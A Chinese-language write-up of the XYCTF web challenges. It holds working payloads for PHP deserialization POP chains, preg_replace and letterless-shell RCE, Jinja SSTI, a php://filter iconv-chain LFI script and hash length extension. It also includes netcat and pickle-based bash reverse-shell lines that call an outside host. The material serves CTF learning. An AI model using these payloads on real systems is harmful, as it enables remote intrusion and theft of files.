XYCTF - web

news2024/11/26 0:52:11

目录

warm up

ezMake

ezhttp

ezmd5

牢牢记住,逝者为大

ezPOP

我是一个复读机

ezSerialize

第一关

第二关

第三关

第一种方法:

第二种方法:

ez?Make

方法一:利用反弹shell

方法二:通过进制编码绕过

εZ?¿м@Kε¿?

ezRCE

ezClass

方法一:SplFileObject读取文件

方法二 : Error的getMessage

ezLFI

连连看到底是连连什么看

give me flag

login

pharme


有些是比赛的时候写的,大部分是赛后看wp复现的

warm up

<?phpinclude 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br data-tomark-pass>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}


md5($_GET['val1']) == md5($_GET['val2'])) : md5弱比较,数组绕过
md5==md5(md5 == md5(md5==md5(md5) : 双md5
extract() : 可以变量覆盖
XYCTF_550102591 : md5值为 0e937920457786991080577371025051
s1502113478a:md5值为 0e861580163291561247404381396064

GET 传参:
?val1[]=1&val2[]=2&md5=0e00275209979&XY=s1502113478a&XYCTF=s1502113478a

到第二关 LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

intval参数如果是有内容的数组返回1
post 传参: a[]=1

preg_replace的RCE:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

?a=/test/e&b=system("cat /flag")&c=just test
直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}

ezMake

语法问题:
echo $(shell cat f*)
或者
$(shell cat f*)

直接访问 /flag 可以下载附件存在flag
(目录扫描)

ezhttp

爆破:
用户名:XYCTF
密码:@JOILha!wuigqi123$

仿造http头
User-Agent: XYCTF
Referer: yuanshen.com
Client-IP:127.0.0.1
Connection: keep-alive
Via: ymzx.qq.com
Cookie: XYCTF

ezmd5

网上直接找两张MD5值相同的图片提交,就可以得到flag


牢牢记住,逝者为大

绕过前面的 # : 使用换行符的url编码 %0a ,使后面 cmd GET传参的命令可以正常执行
再使用 ; #闭合 注释掉后面 的 ,mamba out" 要不然总会报错

过滤了好多东西,又有长度限制,
尝试了蛮久的,都不行,不晓得中间要写什么命令了

?cmd=%0a ;%23

看完wp后,中间写上

`$_GET[1]`   绕过长度限制

这个长度为13是卡得正正好啊,写的时候用的 $_POST[1] ,长度超了,就放弃了,还真就没想到 $_GET[1]

?cmd=%0a`$_GET[1]`;%23&1=cp /flag 1.txt
(将flag文件里面的内容复制到 1.txt里面去,直接访问1.txt 得到flag)
(不能 cat /flag  转八进制,试了好久,不晓得为啥)
转成八进制
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164'
 然后直接访问1.txt ,拿到flag
 
 这道题看其他人的wp, 是可以去反弹shell的
 ?cmd=%0a`$_GET[1]`;%23&1=nc ip 端口 -e /bi''n/sh

ezPOP

<?php

highlight_file(__FILE__);
class AAA{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br data-tomark-pass>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}
class CCC{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br data-tomark-pass>";
        echo $this->c;
    }
}

if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

// pop链//CCC类-__destruct --> AAA类-__toString-->BBB类-__get -->call_user_func( , )()()

//POST传参 : a=implode  b=system// implode() :将数组的值拼接为一个字符串 ; b是一个数组参数

$a=new CCC();
$a->c=new AAA();
$a->c->s=new BBB();
$a->c->s->c='ls /';
$a->c->s->d='hello';
//d随便填, system("ls")("hello")不影响命令执行

$b=array($a,0);  //绕过throw ,最后还需要将 i:1 --> i:0

echo serialize($b);
//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:1;i:0;}

//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:0;i:0;}


//XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e}

我是一个复读机

username : admin
密码:asdqwe

关键在于要有中文,还是一个中文一个{},两个中文就是{{}},三个中文又是{},做题的时候就是卡在这里了,题目说了只是一个会说英文的复读机,之前还真就没去试过中文,直接就放弃了

不然 {{}} 和 {%%}都被过滤了,无法ssti注入
直接使用 request

payload:
离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}

ezSerialize

第一关

第一步:&符号的运用,直接传参
?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}

结果:
fpclosefpclosefpcloseffflllaaaggg.php

第二关
<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
        include 'flag.php';
        echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br data-tomark-pass>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br data-tomark-pass>学到就是赚到!<br data-tomark-pass>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br data-tomark-pass>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

$a=new E();
$a->num=new D();
$a->name='';
$a->num->lao=new B();
$a->num->lao->luo=new A();
$a->num->lao->luo->mack=new C();
echo serialize($a);
//O:1:"E":2:{s:4:"name";s:0:"";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}


//开始就是 没有$a->name=''; 这一步,导致一直不能执行成功,一直卡着

然后又进入到下一关:saber_master_saber_master.php

第三关
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.phpclass XYCTFNO1{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}
第一种方法:

在类里面做一些相应的更改
关键点绕过 if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')
直接在 XYCTFNO1 类里面添加属性$crypto0, 再更改相应的__construct 赋值
在 XYCTFNO3 类里面直接给 $N1ght = "oSthing" 赋值
最后利用到 new $_POST['X']($_POST['Y']); ,使用 SplFileObject 读取文件flag.php
post传参 :X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
(直接读flag.php 没有回显,所以使用伪协议)

<?php// flag.phpclass XYCTFNO1{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
    public  $crypto0;

    public function __construct($T1ng, $crypto0)
    {
        $this->T1ng = $T1ng;
        $this->crypto0=$crypto0;
    }
}

class XYCTFNO2{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
        $this->adwa=$adwa;
    }

}

class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

}


$a = new XYCTFNO3(new XYCTFNO2('dev1l',new XYCTFNO1('yuroandCMD258','dev1l')),1);
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";i:1;s:5:"N1ght";s:7:"oSthing";}




第二种方法:

利用 stdClass() 类,实例化直接赋值 $crypto0 = 'dev1l' , $T1ng = 'yuroandCMD258'
post传参依旧是 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php 读取文件

<?php

// flag.phpclass XYCTFNO1{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
}

class XYCTFNO2{
    public $crypto0;
    public $adwa;
}

class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";
}

if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

$a=new XYCTFNO3();
$a->N1ght='oSthing';
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new stdClass();
$a->KickyMu->adwa->crypto0='dev1l';
$a->KickyMu->adwa->T1ng='yuroandCMD258';

echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

ez?Make

方法一:利用反弹shell
`nc ip 端口 -e sh`

之前一直没能够复现成功,结果竟然是端口的问题,用80端口就可以连接,用其他的端口就连接不了,有点奇怪,我明明把所有的端口都打开了啊,有点不能理解,浪费几个小时

方法二:通过进制编码绕过
`echo 636174202F666c6167 | xxd -r -p`

前面的十六进制表示 cat /flag  , 通过 反引号执行 ` ` 
(因为f被过滤了,将f大写绕过,不影响命令执行)

xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出(即“reverse”或“reconstruct”)。-p 选项表示输入是纯十六进制(没有地址、偏移或其他信息)

echo 输出十六进制字符串 636174202F666c6167。
通过管道 |,这个输出被传递给 xxd 命令。
xxd -r -p 将这个十六进制字符串转换为它的二进制表示,并输出相应的ASCII字符。

//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}

εZ?¿м@Kε¿?

(看着wp写,也是有点没看懂,简单记录一下)
主要也是学到了 , $() 能够执行命令, < 能够将东西输入到命令中
makefile的特定语法需要 $$

 

ezRCE

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

无字母RCE
Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式
$'\154\163' ==> ls 可以执行
但是 $'\154\163\40\57' ==> ls / 无法执行,会被解析成字符串,无法执行命令
所以就需要用到 <<< 在Linux中,“<<<”是一个称为"Here String"的特殊操作符。它的作用是将字符串的内容作为输入传递给命令
以及 $0 相当与bash

所以 0<<<0<<<0<<<'\154\163\40\57' 就可以执行命令了

?cmd=0<<<0<<<0<<<'\143\141\164\40\57\146\154\141\147' ==> cat /flag 拿到flag

XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}

ezClass

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
方法一:SplFileObject读取文件

SplFileObject 加上 php伪协议 读取文件 , 调用__toString() 方法得到字符串

get传参:
a=new SplFileObject
aa=php://filter/read=convert.base64-encode/resource=/flag
c=__toString

解密:XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}

这是直接猜在根目录下有一个flag文件,要是把flag文件换个名,就需要读取目录了,但网上搜了一下读目录的
DirectoryIterator类 + glob://协议 遍历目录,但没能成功,读不到目录,可能不适合这道题或者我哪里搞错了,有点懵

方法二 : Error的getMessage
<?php
$a=new Error("system");
echo $a->getMessage();

//可以输出system

所以get传参

?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage

ezLFI

在index.php中可以看到代码
<?php include_once($_REQUEST['file']);

直接现成的脚本,把地址写上去,直接输出了flag
(这道题之前倒是做过类似的,绕过 include_once(); ,但是原理方面不太理解)

import requests

url = "http://gz.imxbt.cn:20208/"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803}

连连看到底是连连什么看

打开index.php文件

进入到what's_this.php

<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
    die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
    echo file_get_contents('/flag');
}

https://github.com/synacktiv/php_filter_chain_generator

需要用伪协议构造一个 XYCTF
用这个项目,运行生成

第一种方法:
需要将XYCTF进行几次 base64编码
命令:
python php_filter_chain_generator.py --chain 'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ'


Vm1wQ1lXTXhTa2RYYTFwWVZWRQ  ---> XYCTF (5次base64解码)

但是 XYCTF 五次 base64编码只能得到  -->   Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09
用这个去运行的话却不能得到flag(感觉不应该啊),刚开始没注意一直弄不出来,也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的
不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF 
(先暂时放着)


第二种方法:
python3 php_filter_chain_generator.py --chain 'XYCTF<'

然后复制下payload之后,使用string.strip_tags过滤器绕过
strip_tags :从字符串中去除 HTML 和 PHP 标签

得到的结果还需要进行解码,编码了几次就需要解码几次

payload:

?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

XYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}

give me flag

<?phpinclude('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
    highlight_file(__FILE__);
    die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
    echo "yes, give you flag: ";
    echo $FLAG;
}
a3a9ab37346c02e4a88deae16415f4c3

考察hash长度扩展攻击
文章:https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/yunen/p/13624595.html

利用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file

扩展字符输入的是一个未来的时间戳,就是未来几分钟的
密钥长度就是 flag 的长度,flag长度是固定的

payload:
?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4

value 的值是新明文去掉后面的时间戳,因为题目  $FLAG.$value.$time  已经是把时间戳加上去的
md5 的值就是新生成的hash,

再写一个简单的脚本不断的请求,当时间接近我们输入的时间戳,就可以得到flag

import requests

url='http://gz.imxbt.cn:20249/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4'

while True:
    res=requests.get(url=url)
    if "{" in res.text:
        print(res.text)
        break

XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}

login

打开网站是一个登录的界面,目录扫描可以扫描出 /register.php

注册一个账号再登录,可以在cookie里面找到一个 RememberMe

base64解码一下 ,有登录的 用户名和密码 的信息

python的pickle反序列化 ,反弹shell

import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/80 0>&1"'
o.
'''
print(base64.b64encode(a))

#     c  获取一个全局对象或import一个模块    写法:  c[module]\n[instance]\n    获得的对象入栈#    S       实例化一个字符串对象    写法:S'xxx'\n(也可以使用双引号、\'等python字符串形式)   获得的对象入栈#    (       向栈中压入一个MARK标记       MARK标记入栈#    o       寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)   这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

pharme

查看源码,class.php, 访问

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

if(isset($_POST['file']))
{
    if(preg_match('/^phar:\/\//i',$_POST['file']))
    {
        die("nonono");
    }
    file_get_contents($_POST['file']);
}

if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) 表明无参数rce

eval($this->cmd.'isbigvegetablechicken!') 使用halt_compiler()绕过 ,去中断编译执行使其后面的字符不被解析

if(preg_match('/^phar:\/\//i',$_POST['file'])) 使用php伪协议绕过

构造phar包,使用gzip命令压缩上传,再改后缀为 png , 上传
http请求 在最后一个请求加上 SS:system(cat /flag); 执行命令
post传参:file=php://filter/convert.base64-encode/resource=phar:///tmp/fb5c81ed3a220004b71069645f112867.png

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
}

$a=new evil();
